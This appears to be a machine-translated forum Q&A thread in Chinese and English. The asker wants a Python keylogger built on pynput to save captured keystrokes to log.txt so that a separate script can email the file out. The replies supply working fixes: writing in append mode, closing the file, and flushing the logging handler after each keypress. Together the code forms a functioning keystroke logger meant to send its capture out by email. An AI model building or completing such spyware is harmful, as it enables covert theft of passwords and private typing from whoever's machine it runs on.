我怎样才能保存它以便电子邮件脚本可以 read/send 呢?

How can I save it so the e-mail script can read/send it?

我想将 log.txt 发送到电子邮件。电子邮件部分有效,但此记录器不保存文件。它仅在退出时保存。所以它不停地写啊写啊。我在每次按键后都插入了 f.write 但它不起作用。

如果您能提供帮助,我将不胜感激。

问题是:如何保存它以便电子邮件脚本可以 read/send 它?

密码是:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

向文件写入内容后尝试关闭文本文件

f.close()

我还建议用 a+ 打开它以附加文件

所以像这样:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')
#f = open('log.txt', 'w')

def on_press(key):
    f = open('log.txt', 'a+')
    logging.info(str(key))
    f.write("Put stuff here that you want written to a file")
    f.close()

with Listener(on_press=on_press) as listener:
    listener.join()

您需要刷新缓冲区。尝试

logging.getLogger().handlers[0].flush()

每次写入后。